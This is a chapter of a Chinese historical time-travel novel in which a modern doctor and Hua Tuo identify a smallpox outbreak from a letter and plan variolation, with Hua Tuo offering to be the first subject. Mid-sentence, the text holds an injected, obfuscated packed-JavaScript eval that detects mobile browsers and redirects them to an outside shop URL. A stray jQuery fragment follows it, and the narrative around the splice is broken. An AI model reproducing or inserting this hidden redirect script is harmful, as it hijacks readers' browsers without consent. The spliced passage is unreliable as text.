建安五年秋，金黄色的花瓣铺在竹匾上，在秋阳下慢慢卷曲、收缩，把最后一丝夏天的气息收进干枯的花瓣里。顾湘蹲在竹匾前，用手指翻动那些花瓣，指尖沾满了清苦的花香。这个秋天比往年来得早，刚进九月，早晚的风已经有了寒意。
阿香在旁边帮忙，把晒好的菊花收进陶罐里，一层一层地压实。她做得很认真，嘴唇微微抿着，额前的碎发被风吹得飘来飘去。
“先生，今年的菊花收成好，够用一年了。”
顾湘点了点头，正要说话，院门外传来一阵急促的马蹄声。
不是信使的马蹄——信使的马她听得出来，节奏均匀，不急不缓，像心跳。这马蹄声又急又乱，像是马背上的人恨不得把自己和马一起扔过来。马蹄声在院门外戛然而止，然后是马匹粗重的喘息声和一个人从马背上跳下来的沉闷落地声。
院门被推开了。一个陌生男人站在门口，他穿着一身被汗水湿透的灰色官服，衣襟敞着，领口露出里面发黄的里衣。他的脸被风吹得通红，嘴唇上全是干裂的血口子，眼睛深陷在眼眶里，眼白布满血丝。他一只手撑着门框，另一只手紧紧攥着一个布袋，指节因为用力而发白。
“请问……这里是济世堂吗？”他的声音沙哑得几乎听不清，像是好几天没有喝水，喉咙里像塞了沙子。
顾湘站起来：“你是？”
“交州……交州来的。”男人踉跄着走进院子。
张玄从诊室里冲出来，一把扶住了他。男人的手在发抖，他把那个布袋递到顾湘面前，布袋的绳子在他手腕上缠了好几圈，解开的时候手指笨拙得像是别人的。
“这是我家大人的信。交州出了疫病，死了好多人……”他的声音突然断了，像一根绷得太紧的弦终于断了。他的身体往下滑，张玄使劲架着他的胳膊才没让他瘫倒在地上。
黄婆婆已经端了一碗温水过来。男人接过碗，手抖得水洒了一半，咕咚咕咚喝下去，呛得直咳嗽。咳完了，他抬起头，眼眶红了：“死了好多人。求求华先生……求求你们……”
顾湘接过布袋，抽出了里面的信。
信是写在竹简上的，外面用油纸层层包裹，油纸已经被汗水浸得发软。她拆开油纸，取出竹简，展开。竹简不长，只有十几根，但字写得很密，笔画潦草，落款是“交州龙编县丞陈明”。
信的内容很简短，但每读一行，顾湘的心就往下沉一寸。
“……建安五年七月始，县中暴发疫病。病者先发高热，头痛如裂，腰背酸痛，筋骨如折。三日后，面颈生疹，初为红斑，旋即成疱，内含水浆，后变脓液。五日至七日，遍身皆然。十日左右，疱破结痂，脱落者生，不脱者死。死者十之三四，小儿尤多，十中存五……”
顾湘读到“面颈生疹，初为红斑，旋即成疱”时，手指猛地收紧了。竹简的边缘硌进她的掌心，她浑然不觉。她的脑子里像有什么东西炸开了，一朵巨大的、灰色的蘑菇云在意识深处升腾而起。
天花。
她在医学院的传染病学课上见过天花的图片。那些图片她一辈子都忘不了——病人的脸上、身上、四肢上密密麻麻布满了圆形的隆起，像无数只眼睛在瞪着这个世界。水疱变成脓疱，脓疱结痂，痂皮脱落，留下终身不褪的麻点。天花的英文单词“smallpox”里的“pox”来自拉丁语，意为“瘟疫”。它是一种比黑死病更古老、比流感更致命的病毒，在人类历史上杀死了数亿人。
而它的症状，太典型了。
发热、头痛、全身酸痛——那是前驱期，病毒在血液里复制。然后皮疹出现，从面部到躯干到四肢，离心性分布——那是出疹期。水疱、脓疱、结痂、脱落——那是恢复期。每一个阶段的临床表现都像教科书一样标准，标准到她仅凭一段文字就能做出诊断。
她抬起头，发现华佗不知什么时候站在了她身后。
他刚从诊室里出来，一只手还拿着针灸用的银针，针尖在阳光下闪着细碎的光。他的目光落在她手里的竹简上，又落在她的脸上，眉心微微皱了起来。她脸上的表情一定是暴露了什么，因为华佗放下银针，走过来，从她手中取走了竹简。
他的阅读速度很快。目光一行一行地扫过那些潦草的字迹，看到“死者十之三四”时，他的眼皮跳了一下——只有一下，但顾湘看见了。
“南风。”华佗放下竹简，声音很低，“什么病？”
“天花。”
这两个字从顾湘嘴里说出来的时候，她自己的声音都陌生了。像是从很远的地方传来的，带着一种她自己都控制不住的颤抖。不是害怕——是恐惧。一种来自一千八百年后的、刻在医学从业者骨子里的恐惧。她知道天花意味着什么。在华佗的时代，天花的病死率大约是百分之三十。每三个感染者中就有一个会死。没有抗病毒药物，没有呼吸机，没有ICU。一个孩子发热了，家里人只能看着他身上的水疱一个接一个地变成脓疱，然后等着看他是结痂活下来，还是高热不退死在母亲怀里。
华佗没有听过“天花”这个词。他皱着眉，嘴唇翕动了一下，像是在默念这两个字的发音。然后他看着顾湘的眼睛，从她的瞳孔里读出了某种他很少在她脸上看到的东西——不是犹豫，不是担忧，而是恐惧。纯粹的、毫无掩饰的恐惧。
“能治吗？”他问。声音很平静，但顾湘注意到他握竹简的手比平时用力了。
“不能。”顾湘说，“没有特效药。至少在这个时代，没有任何东西能杀死天花病毒。”她顿了顿，深吸了一口气，把胸腔里那团堵着的东西往下压了压，“但我能防。”
华佗的眼神变了。从凝重变成了专注——一个外科医生在手术前的那种专注。
“怎么防？”
顾湘没有立刻回答。她走到诊室里，在案几前坐下，铺开一张纸，拿起炭笔。她画了一个圆——粗糙的圆，像一个不太规则的鸡蛋。然后在圆里面画了更多的小圆，大大小小，挤在一起。
她画的是天花病毒。
当然，她知道病毒是看不到的。但她需要用一种方式来让华佗理解——理解天花是什么，理解为什么痂皮可以用来预防天花。
“华佗，你知道为什么一个人得了天花，活下来之后，这辈子就不会再得天花了吗？”
华佗在她对面坐下，目光落在那张画满圆圈的白纸上。他想了想，说：“我见过。小时候得过天花的人，长大了再怎么接触病人，也不会得。”
“对。这就是‘得过一次，终身免疫’。”
顾湘用炭笔在纸上点了几个点：“天花之所以能让人生病，是因为有一种极其微小的东西进了人的身体。这个东西小到什么程度？小到你在最好的铜镜里也看不见它。但它进去了，就会让人发热、长疱、死亡。但人的身体有一种本事——如果扛过去一次，身体就会记住这个敌人的样子。下次它再来，身体就能认出它，在它还没开始作恶之前就把它杀掉。”
华佗听得很认真。他没有打断她，没有质疑她。他只是安静地听着，手指在案几上轻轻地叩击着，一下一下，缓慢而有节奏。
“所以，如果你让一个人在还没得天花之前，就先接触一点点天花的东西——一点点就够了，多到能让他的身体认出这个敌人，但又少到不会让他真的生病——那么他以后就算遇到了真的天花，也不会死了。”
顾湘说完这句话，诊室里安静了很久。
华佗的声音比平时低：“你的意思是——用人得过的天花的痂皮，磨成粉，让人吸进去，让他得一次轻的天花，然后他就不会再得重的？”
顾湘的心跳加速了。不是因为他说得不对——恰恰是因为他说得太对了。她只解释了一遍，他就抓住了全部的核心。她点了点头。
华佗没有说话。他站起来，走到窗前，推开了窗户。秋日的阳光涌进来，把他的影子投在地上，又长又瘦。他站在窗前，背对着她，一动不动。
顾湘看着他的背影，心里像有什么东西在搅动。她知道他在想什么——他在权衡，在用他那颗外科医生的大脑计算利弊。这是一个生死问题。把天花病人的痂皮种到健康人身上，这个行为本身就是传播天花。你无法保证每一个接种的人都只会得轻症。总有人会因此死去—
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653567|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
—一百个人里，可能有一两个。
但不做呢？天花的死亡是百分之三十。
百分之三与百分之三十。这是一个不需要犹豫的选择。但不是每一个人都能做出这个选择。因为那百分之一到二的死亡，是你亲手造成的。每一个因此死去的人，你都会记住他的名字、他的脸、他死在你面前的样子。
他的脸上没有表情，但眼睛里有光。那种光是顾湘见过很多次的光——每一次他做一个高难度手术之前，每一次他面对一个棘手的病例时，他的眼睛里都会出现这种光。那是决心。是明知山有虎、偏向虎山行的决心。
“南风，你确定这个方法可行？”
顾湘犹豫了一瞬。她不确定。她从来没有做过人痘接种。她只是在教科书里读过，在文献里见过。她知道人痘接种在中国古代确实存在——清代的《痘科金镜赋》里就有记载，方法是把天花患者的痂皮磨成粉末，用银管吹入健康人的鼻腔。但那是清朝的事，距离东汉还有一千多年。她不知道在这个时代、用这个时代的材料、在这个时代的卫生条件下，人痘接种的死亡率是多少。
但她知道如果不做，天花来了，交州的惨状会在这片土地上重演。
“不确定。”顾湘说，“但我能做。我比这个时代任何人都更了解这个病。我知道怎么选痂皮——选那些结痂完整、没有继发感染的；我知道怎么研磨——磨到最细，细到像烟尘一样；我知道吹入的剂量——不能多，多了会得重症；不能少，少了没有效果。”
华佗沉默了很久。
顾湘看见他的手慢慢地握成了拳头，然后又慢慢地松开。
“先拿我试。”华佗说。
他的声音不大，但每个字都清清楚楚，像钉子钉进木头里。他说这句话的时候语气和平时说“今天天气不错”一模一样——平静、从容、不容置疑。
顾湘的心脏像被人狠狠地攥住了。
总要有第一个接种的人，风险最大，因为没有经验可以借鉴。剂量多少合适？痂皮选什么样的？吹入的深度和力度怎么控制？这些问题，只有试了才知道。
而承担这个“试”的风险的人，不能是顾湘。不是因为她怕死，而是因为她掌握着这个时代没有人掌握的知识——她必须活着，才能指导后面的接种。不能是张玄，不能是吴普，不能是阿香，不能是黄婆婆。他们太年轻，太重要，太不应该在这个年纪、以这种方式死去。
所以只能是他。
“华佗——”顾湘的声音哽住了。她的眼眶发烫，视线模糊了。
“南风。”华佗走过来，在她面前蹲下来，抬起头看着她。他蹲着的时候比她矮，需要仰视才能看到她的脸。这个姿势让顾湘想起他们第一次见面时，他也是这样蹲下来，看她手里那个叫做“听诊器”的奇怪东西。那时候他的眼睛里全是好奇，而现在，那双眼睛里除了好奇，还多了很多东西——信任，决心，还有一种她说不清楚的、让人想哭的温柔。
“你不是说过吗？”他的嘴角微微弯了一下，“医学的进步，总要有人走在前面。”
顾湘的眼泪终于掉了下来。
“什么时候开始？”他问。
顾湘深吸了一口气，用袖子擦了擦脸。她的鼻子堵了，说话带着鼻音，但声音稳了很多。
“等交州的信使把痂皮送来。”她说，“我让你看一样东西。看完之后，你再决定要不要第一个试。”
华佗点了点头，站起来，走回窗前。
在那封来自交州的信躺在案几上之后，一切都和以前不一样了。
顾湘转过身，看了一眼那封信。竹简上的字迹在午后的光线里显得有些模糊，但那些描述——高热、头痛、水疱、脓疱、死者十之三四——像烙铁一样刻在她的脑子里。
天花要来了。
她还有时间。她必须做好准备。
她走到案几前，重新铺开一张纸，开始写人痘接种的操作规程。她的字写得很用力，炭笔在纸上发出沙沙的声音，像秋风吹过枯叶。
华佗站在窗前，背对着她。他的影子落在她面前的纸上，一动不动。